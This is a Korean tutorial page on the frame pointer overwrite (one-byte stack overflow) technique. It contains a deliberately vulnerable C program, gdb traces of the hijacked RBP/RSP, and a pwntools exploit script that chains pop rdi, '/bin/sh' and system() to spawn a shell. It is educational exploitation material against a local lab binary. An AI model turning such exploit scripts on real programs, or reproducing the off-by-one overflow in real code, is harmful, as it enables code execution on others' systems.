...
Excuse the ads! We need some help to keep our site up.
List
Table of Contents exclude List
Frame Pointer Overwrite(One-byte Overflow)
- Frame Pointer Overwrite란 Frame point에 1byte를 덮어써서 프로그램의 실행 흐름을 제어하는 것입니다.
LEAVE, LEAVE instruction
- 해당 취약성은 다음과 같은 구조에서 발생합니다.
vuln() 함수에서 Overflow로 인해 main() 함수의 Frame Pointer를 1 byte 변경 할 수 있습니다.
vuln() 함수가 종료 될 때 변경된 Frame Pointer는 leave 명령어에 의해 RBP 레지스터에 저장됩니다.
main() 함수가 종료 될 때 RBP 레지스터에 저장된 Frame Pointer는 leave 명령어에 의해 RSP 레지스터에 저장됩니다.
- 즉, 이로 인해 ret 명령어에 의해 이동할 영역을 변경 할 수 있습니다.
- 공격하는 형태는 Frame faking과 동일 합니다.
- 단, Frame faking은 Return Address 영역까지 Overflow 했으나, FPO는 Frame Pointer의 1 byte를 Overwrite 합니다.
Code Block | ||
---|---|---|
| ||
lazenca0x0@ubuntu:~/Exploit/FPO$ gdb -q ./fpo Reading symbols from ./fpo...(no debugging symbols found)...done. gdb-peda$ disassemble vuln Dump of assembler code for function vuln: 0x0000000000400706 <+0>: push rbp 0x0000000000400707 <+1>: mov rbp,rsp ... 0x0000000000400760 <+90>: call 0x4005c0 <read@plt> 0x0000000000400765 <+95>: nop 0x0000000000400766 <+96>: leave 0x0000000000400767 <+97>: ret End of assembler dump. gdb-peda$ disassemble main Dump of assembler code for function main: 0x0000000000400768 <+0>: push rbp 0x0000000000400769 <+1>: mov rbp,rsp ... 0x0000000000400796 <+46>: call 0x400706 <vuln> 0x000000000040079b <+51>: nop 0x000000000040079c <+52>: leave 0x000000000040079d <+53>: ret End of assembler dump. gdb-peda$ |
Proof of concept
Example code
- 다음 코드를 이용하여 Frame Pointer Overwrite의 동작을 확인하겠습니다.
- 해당 프로그램은 Stack address, Libc address를 출력합니다.
- Stack address: buf
- Libc address: printf_addr
- read()함수를 이용해 사용자로 부터 49개의 문자를 입력 받습니다.
- 이로 인해 Frame pointer영역에 1byte를 Overwrite 할 수 있습니다.
- 해당 프로그램은 Stack address, Libc address를 출력합니다.
Code Block | ||||
---|---|---|---|---|
| ||||
//gcc -fno-stack-protector -o fpo fpo.c -ldl #define _GNU_SOURCE #include <stdio.h> #include <unistd.h> #include <dlfcn.h> #include <stdlib.h> void vuln(){ char buf[32]; printf("buf[32] address : %p\n",buf); void (*printf_addr)() = dlsym(RTLD_NEXT, "printf"); printf("Printf() address : %p\n",printf_addr); read(0, buf, 49); } void main(int argc, char *argv[]){ if(argc<2){ printf("argv error\n"); exit(0); } vuln(); } |
Overwriting the Frame Pointer
다음과 같이 Break pointer를 설정합니다.
0x40070a: vuln() 함수에서 사용 할 Fream Pointer를 RBP 레지스터에 저장한 후
0x400766: vuln() 함수에서 leave 명령어 호출
0x40079c: main() 함수에서 leave 명령어 호출
...
Code Block | ||
---|---|---|
| ||
gdb-peda$ c
Continuing.
buf[32] address : 0x7fffffffe400
Printf() address : 0x7ffff785e800
AAAAAAAABBBBBBBBCCCCCCCCDDDDDDDDEEEEEEEEFFFFFFFFGG
Breakpoint 2, 0x0000000000400766 in vuln ()
gdb-peda$ G
Ambiguous command "G": .
gdb-peda$ i r rbp
rbp 0x7fffffffe430 0x7fffffffe430
gdb-peda$ x/2gx 0x7fffffffe430
0x7fffffffe430: 0x00007fffffffe447 0x000000000040079b
gdb-peda$ ni
0x0000000000400767 in vuln ()
gdb-peda$ i r rbp
rbp 0x7fffffffe447 0x7fffffffe447
gdb-peda$
|
...
Code Block | ||
---|---|---|
| ||
gdb-peda$ c Continuing. Breakpoint 3, 0x000000000040079c in main () gdb-peda$ i r rbp rbp 0x7fffffffe447 0x7fffffffe447 gdb-peda$ x/2gx 0x7fffffffe447 0x7fffffffe447: 0x0000020000000000 0x000000004007a000 gdb-peda$ ni 0x000000000040079d in main () gdb-peda$ i r rsp rsp 0x7fffffffe44f 0x7fffffffe44f gdb-peda$ x/gx 0x7fffffffe44f 0x7fffffffe44f: 0x000000004007a000 gdb-peda$ x/gx 0x7fffffffe400 0x7fffffffe400: 0x4141414141414141 gdb-peda$ |
Exploit
Code Block | ||||
---|---|---|---|---|
| ||||
from pwn import * p = process(['./fpo','AAAA']) p.recvuntil('buf[32] address : ') tmp = p.recvuntil('\n') onebyte = int(tmp[12:14],16) p.recvuntil('Printf() address : ') libc = p.recvuntil('\n') libc = int(libc,16) libcBase = libc - 0x55800 sysAddr = libcBase + 0x45390 exit = libcBase + 0x3a030 binsh = libcBase + 0x18cd57 poprdi = 0x00400803 print "Stack Addr : " + tmp print "onebyte : " + hex(onebyte) print "libc base : " + hex(libcBase) print "system() : " +hex(sysAddr) print "exit() : " +hex(exit) print "binsh : " + hex(binsh) exploit = '\x90' * 8 exploit += p64(poprdi) exploit += p64(binsh) exploit += p64(sysAddr) exploit += '\x90' * (48 - len(exploit)) exploit += p64(onebyte) p.send(exploit) p.interactive() |
...
Code Block | ||
---|---|---|
| ||
lazenca0x0@ubuntu:~/Exploit/FPO$ python Exploit.py [+] Starting local process './fpo': pid 7554 Stack Addr : 0x7ffff7e7c3b0 onebyte : 0xb0 libc base : 0x7fc5c5157000 system() : 0x7fc5c519c390 exit() : 0x7fc5c5191030 binsh : 0x7fc5c52e3d57 [*] Switching to interactive mode [*] Got EOF while reading in interactive $ [*] Interrupted [*] Process './fpo' stopped with exit code -11 (SIGSEGV) (pid 7554) lazenca0x0@ubuntu:~/Exploit/FPO$ |
Related site
- http://phrack.org/issues/55/8.html
- https://stackoverflow.com/questions/1147623/trying-to-understand-the-main-disassembly-first-instructions
- https://gcc.gnu.org/onlinedocs/gcc-5.5.0/gcc/x86-Options.html#x86-Options
- https://gcc.gnu.org/bugzilla/show_bug.cgi?id=38496
- https://gcc.gnu.org/bugzilla/show_bug.cgi?id=27537
Comments
Panel |
---|